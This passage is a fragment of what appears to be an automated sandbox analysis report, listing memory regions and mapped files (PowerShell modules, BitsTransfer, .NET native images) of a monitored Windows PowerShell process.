monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003f80000" filename = "" Region: id = 2719 start_va = 0x1cc0000 end_va = 0x1ccffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001cc0000" filename = "" Region: id = 2720 start_va = 0x4a90000 end_va = 0x4acffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004a90000" filename = "" Region: id = 2721 start_va = 0x4f80000 end_va = 0x4fbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004f80000" filename = "" Region: id = 2722 start_va = 0x7efa4000 end_va = 0x7efa6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efa4000" filename = "" Region: id = 2723 start_va = 0x1cd0000 end_va = 0x1cdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001cd0000" filename = "" Region: id = 2777 start_va = 0x1d20000 end_va = 0x1d2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001d20000" filename = "" Region: id = 2801 start_va = 0x1d70000 end_va = 0x1d7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001d70000" filename = "" Region: id = 2819 start_va = 0x1d80000 end_va = 0x1d8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001d80000" filename = "" Region: id = 2821 start_va = 0x1da0000 end_va = 0x1daffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001da0000" filename = "" Region: id = 2836 start_va = 0x1db0000 end_va = 0x1dbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001db0000" filename = "" Region: id = 2840 start_va = 0x1dc0000 end_va = 0x1dcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001dc0000" filename = "" Region: id = 2841 start_va = 0x1e50000 end_va = 0x1e5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 2842 start_va = 0x1e60000 end_va = 0x1e6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e60000" filename = "" Region: id = 2843 start_va = 0x1e70000 end_va = 0x1e7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e70000" filename = "" Region: id = 2869 start_va = 0x1ec0000 end_va = 0x1ecffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001ec0000" filename = "" Region: id = 2954 start_va = 0x6ade0000 end_va = 0x6af77fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "microsoft.csharp.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.CSharp\\f73f48afb5512225dedaee9c88ac5050\\Microsoft.CSharp.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\microsoft.csharp\\f73f48afb5512225dedaee9c88ac5050\\microsoft.csharp.ni.dll") Region: id = 2955 start_va = 0x1ed0000 end_va = 0x1edffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001ed0000" filename = "" Region: id = 2956 start_va = 0x1ee0000 end_va = 0x1eeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001ee0000" filename = "" Region: id = 2957 start_va = 0x1f30000 end_va = 0x1f3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f30000" filename = "" Region: id = 2958 start_va = 0x1f30000 end_va = 0x1f3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f30000" filename = "" Region: id = 2959 start_va = 0x4000000 end_va = 0x400ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004000000" filename = "" Region: id = 2960 start_va = 0x4aa0000 end_va = 0x4adffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004aa0000" filename = "" Region: id = 2961 start_va = 0x50a0000 end_va = 0x5a2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000050a0000" filename = "" Region: id = 2962 start_va = 0x7efaa000 end_va = 0x7efacfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efaa000" filename = "" Region: id = 2963 start_va = 0x740a0000 end_va = 0x7411ffff monitored = 0 entry_point = 0x740b37c9 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 2964 start_va = 0x4f00000 end_va = 0x506ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004f00000" filename = "" Region: id = 2965 start_va = 0x4f00000 end_va = 0x4fdefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004f00000" filename = "" Region: id = 2966 start_va = 0x5030000 end_va = 0x506ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005030000" filename = "" Region: id = 2967 start_va = 0x74050000 end_va = 0x7405dfff monitored = 0 entry_point = 0x74051235 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\SysWOW64\\RpcRtRemote.dll" (normalized: "c:\\windows\\syswow64\\rpcrtremote.dll") Region: id = 2968 start_va = 0x4380000 end_va = 0x43bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004380000" filename = "" Region: id = 2969 start_va = 0x43e0000 end_va = 0x441ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000043e0000" filename = "" Region: id = 2970 start_va = 0x7efa4000 end_va = 0x7efa6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efa4000" filename = "" Region: id = 2971 start_va = 0x4360000 end_va = 0x4370fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004360000" filename = "" Region: id = 2972 start_va = 0x4000000 end_va = 0x400ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004000000" filename = "" Region: id = 2973 start_va = 0x4e50000 end_va = 0x4e8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004e50000" filename = "" Region: id = 2974 start_va = 0x5a30000 end_va = 0x5a6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005a30000" filename = "" Region: id = 2975 start_va = 0x5a70000 end_va = 0x5aaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005a70000" filename = "" Region: id = 2976 start_va = 0x5b40000 end_va = 0x5b7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005b40000" filename = "" Region: id = 2977 start_va = 0x7ef8c000 end_va = 0x7ef8efff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef8c000" filename = "" Region: id = 2978 start_va = 0x7ef9e000 end_va = 0x7efa0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef9e000" filename = "" Region: id = 3075 start_va = 0x4d20000 end_va = 0x4d5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004d20000" filename = "" Region: id = 3076 start_va = 0x5aa0000 end_va = 0x5adffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005aa0000" filename = "" Region: id = 3077 start_va = 0x7ef9e000 end_va = 0x7efa0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef9e000" filename = "" Region: id = 3080 start_va = 0x5af0000 end_va = 0x5b2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005af0000" filename = "" Region: id = 3081 start_va = 0x5c00000 end_va = 0x5c3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005c00000" filename = "" Region: id = 3082 start_va = 0x7ef89000 end_va = 0x7ef8bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef89000" filename = "" Region: id = 3083 start_va = 0x4d40000 end_va = 0x4d7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004d40000" filename = "" Region: id = 3084 start_va = 0x5a40000 end_va = 0x5a7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005a40000" filename = "" Region: id = 3085 start_va = 0x7ef9e000 end_va = 0x7efa0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef9e000" filename = "" Region: id = 3086 start_va = 0x5c40000 end_va = 0x5d3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005c40000" filename = "" Region: id = 3088 start_va = 0x43c0000 end_va = 0x43cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000043c0000" filename = "" Region: id = 3095 start_va = 0x43d0000 end_va = 0x43d1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "powershellget.psd1" filename = "\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1") Region: id = 3096 start_va = 0x6bea0000 end_va = 0x6bea7fff monitored = 0 entry_point = 0x6bea3bf5 region_type = mapped_file name = "msisip.dll" filename = "\\Windows\\SysWOW64\\msisip.dll" (normalized: "c:\\windows\\syswow64\\msisip.dll") Region: id = 3097 start_va = 0x5d40000 end_va = 0x613ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005d40000" filename = "" Region: id = 3098 start_va = 0x4460000 end_va = 0x4461fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "powershellget.psd1" filename = "\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1") Region: id = 3099 start_va = 0x5d40000 end_va = 0x613ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005d40000" filename = "" Region: id = 3100 start_va = 0x4910000 end_va = 0x494ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004910000" filename = "" Region: id = 3101 start_va = 0x5d40000 end_va = 0x5d7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005d40000" filename = "" Region: id = 3102 start_va = 0x6be80000 end_va = 0x6be95fff monitored = 0 entry_point = 0x6be813df region_type = mapped_file name = "wshext.dll" filename = "\\Windows\\SysWOW64\\wshext.dll" (normalized: "c:\\windows\\syswow64\\wshext.dll") Region: id = 3103 start_va = 0x7ef86000 end_va = 0x7ef88fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef86000" filename = "" Region: id = 3104 start_va = 0x72230000 end_va = 0x722b3fff monitored = 0 entry_point = 0x722319a9 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll") Region: id = 3105 start_va = 0x5b80000 end_va = 0x5bfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005b80000" filename = "" Region: id = 3106 start_va = 0x6ab40000 end_va = 0x6ab49fff monitored = 0 entry_point = 0x6ab44ab0 region_type = mapped_file name = "pwrshsip.dll" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\pwrshsip.dll" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\pwrshsip.dll") Region: id = 3107 start_va = 0x43d0000 end_va = 0x43d0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "microsoft.powershell.management.psd1" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1") Region: id = 3108 start_va = 0x5d80000 end_va = 0x617ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005d80000" filename = "" Region: id = 3109 start_va = 0x4460000 end_va = 0x4460fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "microsoft.powershell.management.psd1" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1") Region: id = 3110 start_va = 0x5d80000 end_va = 0x617ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005d80000" filename = "" Region: id = 3111 start_va = 0x5a70000 end_va = 0x5aaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005a70000" filename = "" Region: id = 3112 start_va = 0x5db0000 end_va = 0x5deffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005db0000" filename = "" Region: id = 3113 start_va = 0x7ef9e000 end_va = 0x7efa0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef9e000" filename = "" Region: id = 3114 start_va = 0x6ac00000 end_va = 0x6add6fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "microsoft.powershell.commands.management.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.Pae3498d9#\\ade0afceac1317e3668a9c8086d8d18b\\Microsoft.PowerShell.Commands.Management.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\microsoft.pae3498d9#\\ade0afceac1317e3668a9c8086d8d18b\\microsoft.powershell.commands.management.ni.dll") Region: id = 3115 start_va = 0x6abd0000 end_va = 0x6abf7fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.configuration.install.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Confe64a9051#\\1561b93d6d25c4a9c3e2659ab29a5e73\\System.Configuration.Install.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.confe64a9051#\\1561b93d6d25c4a9c3e2659ab29a5e73\\system.configuration.install.ni.dll") Region: id = 3116 start_va = 0x43d0000 end_va = 0x43dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000043d0000" filename = "" Region: id = 3121 start_va = 0x49b0000 end_va = 0x49effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000049b0000" filename = "" Region: id = 3122 start_va = 0x5b90000 end_va = 0x5bcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005b90000" filename = "" Region: id = 3123 start_va = 0x5bf0000 end_va = 0x5bfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005bf0000" filename = "" Region: id = 3124 start_va = 0x7ef9e000 end_va = 0x7efa0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef9e000" filename = "" Region: id = 3125 start_va = 0x43d0000 end_va = 0x43dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000043d0000" filename = "" Region: id = 3126 start_va = 0x43d0000 end_va = 0x43dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000043d0000" filename = "" Region: id = 3127 start_va = 0x43d0000 end_va = 0x43dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000043d0000" filename = "" Region: id = 3128 start_va = 0x43d0000 end_va = 0x43dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000043d0000" filename = "" Region: id = 3129 start_va = 0x4460000 end_va = 0x446ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004460000" filename = "" Region: id = 3130 start_va = 0x4470000 end_va = 0x447ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004470000" filename = "" Region: id = 3131 start_va = 0x4480000 end_va = 0x448ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004480000" filename = "" Region: id = 3132 start_va = 0x44d0000 end_va = 0x44dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000044d0000" filename = "" Region: id = 3133 start_va = 0x4520000 end_va = 0x452ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004520000" filename = "" Region: id = 3134 start_va = 0x4950000 end_va = 0x495ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004950000" filename = "" Region: id = 3180 start_va = 0x43d0000 end_va = 0x43dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000043d0000" filename = "" Region: id = 3216 start_va = 0x43d0000 end_va = 0x43dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000043d0000" filename = "" Region: id = 3217 start_va = 0x4460000 end_va = 0x446ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004460000" filename = "" Region: id = 3218 start_va = 0x4470000 end_va = 0x447ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004470000" filename = "" Region: id = 3219 start_va = 0x43d0000 end_va = 0x43dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000043d0000" filename = "" Region: id = 3229 start_va = 0x43d0000 end_va = 0x43dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000043d0000" filename = "" Region: id = 3230 start_va = 0x74250000 end_va = 0x7425afff monitored = 0 entry_point = 0x74251992 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\SysWOW64\\profapi.dll" (normalized: "c:\\windows\\syswow64\\profapi.dll") Region: id = 3231 start_va = 0x722c0000 end_va = 0x722d6fff monitored = 0 entry_point = 0x722c35fa region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\SysWOW64\\bcrypt.dll" (normalized: "c:\\windows\\syswow64\\bcrypt.dll") Region: id = 3244 start_va = 0x4b20000 end_va = 0x4b5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004b20000" filename = "" Region: id = 3245 start_va = 0x5ab0000 end_va = 0x5aeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005ab0000" filename = "" Region: id = 3246 start_va = 0x7ef9e000 end_va = 0x7efa0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef9e000" filename = "" Region: id = 3251 start_va = 0x43d0000 end_va = 0x43dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000043d0000" filename = "" Region: id = 3252 start_va = 0x43d0000 end_va = 0x43d0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bitstransfer.psd1" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer\\BitsTransfer.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\bitstransfer\\bitstransfer.psd1") Region: id = 3253 start_va = 0x5d80000 end_va = 0x617ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005d80000" filename = "" Region: id = 3254 start_va = 0x4460000 end_va = 0x4460fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bitstransfer.psd1" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer\\BitsTransfer.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\bitstransfer\\bitstransfer.psd1") Region: id = 3255 start_va = 0x5d80000 end_va = 0x617ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005d80000" filename = "" Region: id = 3256 start_va = 0x4d10000 end_va = 0x4d4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004d10000" filename = "" Region: id = 3257 start_va = 0x5a50000 end_va = 0x5a8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005a50000" filename = "" Region: id = 3258 start_va = 0x7ef9e000 end_va = 0x7efa0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef9e000" filename = "" Region: id = 3259 start_va = 0x4ae0000 end_va = 0x4b1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004ae0000" filename = "" Region: id = 3260 start_va = 0x5dd0000 end_va = 0x5e0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005dd0000" filename = "" Region: id = 3261 start_va = 0x7ef95000 end_va = 0x7ef97fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef95000" filename = "" Region: id = 3262 start_va = 0x43d0000 end_va = 0x43dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000043d0000" filename = "" Region: id = 3263 start_va = 0x4460000 end_va = 0x446ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004460000" filename = "" Region: id = 3264 start_va = 0x4470000 end_va = 0x447ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004470000" filename = "" Region: id = 3265 start_va = 0x7ef30000 end_va = 0x7ef7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef30000" filename = "" Region: id = 3266 start_va = 0x7ef20000 end_va = 0x7ef2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef20000" filename = "" Region: id = 3267 start_va = 0x6aab0000 end_va = 0x6ab33fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "microsoft.management.infrastructure.native.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.M870d558a#\\7ceb6b903321c16b12386a8df1be50f9\\Microsoft.Management.Infrastructure.Native.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\microsoft.m870d558a#\\7ceb6b903321c16b12386a8df1be50f9\\microsoft.management.infrastructure.native.ni.dll") Region: id = 3268 start_va = 0x6abb0000 end_va = 0x6abc1fff monitored = 0 entry_point = 0x6abbcdae region_type = mapped_file name = "microsoft.backgroundintelligenttransfer.management.dll" filename = "\\Windows\\assembly\\GAC_MSIL\\Microsoft.BackgroundIntelligentTransfer.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.BackgroundIntelligentTransfer.Management.dll" (normalized: "c:\\windows\\assembly\\gac_msil\\microsoft.backgroundintelligenttransfer.management\\1.0.0.0__31bf3856ad364e35\\microsoft.backgroundintelligenttransfer.management.dll") Region: id = 3269 start_va = 0x4950000 end_va = 0x4961fff monitored = 0 entry_point = 0x495cdae region_type = mapped_file name = "microsoft.backgroundintelligenttransfer.management.dll" filename = "\\Windows\\assembly\\GAC_MSIL\\Microsoft.BackgroundIntelligentTransfer.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.BackgroundIntelligentTransfer.Management.dll" (normalized: "c:\\windows\\assembly\\gac_msil\\microsoft.backgroundintelligenttransfer.management\\1.0.0.0__31bf3856ad364e35\\microsoft.backgroundintelligenttransfer.management.dll") Region: id = 3272 start_va = 0x4480000 end_va = 0x448ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004480000" filename = "" Region: id = 3273 start_va = 0x44d0000 end_va = 0x44dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000044d0000" filename = "" Region: id = 3274 start_va = 0x4520000 end_va = 0x4520fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "microsoft.powershell.security.psd1" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security\\Microsoft.PowerShell.Security.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.security\\microsoft.powershell.security.psd1") Region: id = 3275 start_va = 0x4b40000 end_va = 0x4b7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004b40000" filename = "" Region: id = 3276 start_va = 0x4fe0000 end_va = 0x501ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004fe0000" filename = "" Region: id = 3277 start_va = 0x7ef9e000 end_va = 0x7efa0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef9e000" filename = "" Region: id = 3278 start_va = 0x5e10000 end_va = 0x620ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005e10000" filename = "" Region: id = 3279 start_va = 0x49b0000 end_va = 0x49b0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "microsoft.powershell.security.psd1" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security\\Microsoft.PowerShell.Security.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.security\\microsoft.powershell.security.psd1") Region: id = 3280 start_va = 0x5e10000 end_va = 0x620ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005e10000" filename = "" Region: id = 3282 start_va = 0x4520000 end_va = 0x452ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004520000" filename = "" Region: id = 3283 start_va = 0x49b0000 end_va = 0x49bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000049b0000" filename = "" Region: id = 3343 start_va = 0x4520000 end_va = 0x452ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004520000" filename = "" Region: id = 3377 start_va = 0x4520000 end_va = 0x4520fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "microsoft.powershell.utility.psd1" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1") Region: id = 3378 start_va = 0x5e10000 end_va = 0x620ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005e10000" filename = "" Region: id = 3379 start_va = 0x49b0000 end_va = 0x49b0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "microsoft.powershell.utility.psd1" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1") Region: id = 3380 start_va = 0x5e10000 end_va = 0x620ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005e10000" filename = "" Region: id = 3399 start_va = 0x4b40000 end_va = 0x4b7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004b40000" filename = "" Region: id = 3400 start_va = 0x5a90000 end_va = 0x5acffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005a90000" filename = "" Region: id = 3401 start_va = 0x69d80000 end_va = 0x6a8edfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "microsoft.powershell.commands.utility.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.P521220ea#\\f6f5592245815a51dae8c19cd5d04783\\Microsoft.PowerShell.Commands.Utility.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\microsoft.p521220ea#\\f6f5592245815a51dae8c19cd5d04783\\microsoft.powershell.commands.utility.ni.dll") Region: id = 3402 start_va = 0x7ef9e000 end_va = 0x7efa0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef9e000" filename = "" Region: id = 3403 start_va = 0x4520000 end_va = 0x4527fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "microsoft.powershell.utility.psm1" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1") Region: id = 3404 start_va = 0x5a50000 end_va = 0x5a8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005a50000" filename = "" Region: id = 3405 start_va = 0x5d90000 end_va = 0x5dcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005d90000" filename = "" Region: id = 3406 start_va = 0x5e10000 end_va = 0x620ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005e10000" filename = "" Region: id = 3407 start_va = 0x49b0000 end_va = 0x49b7fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "microsoft.powershell.utility.psm1" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1") Region: id = 3408 start_va = 0x5e10000 end_va = 0x620ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005e10000" filename = "" Region: id = 3409 start_va = 0x4520000 end_va = 0x452ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004520000" filename = "" Region: id = 3410 start_va = 0x49b0000 end_va = 0x49bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000049b0000" filename = "" Region: id = 3411 start_va = 0x49c0000 end_va = 0x49c7fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "microsoft.powershell.utility.psm1" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1") Region: id = 3412 start_va = 0x5e10000 end_va = 0x620ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005e10000" filename = "" Region: id = 3413 start_va = 0x49d0000 end_va = 0x49d7fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "microsoft.powershell.utility.psm1" filename = 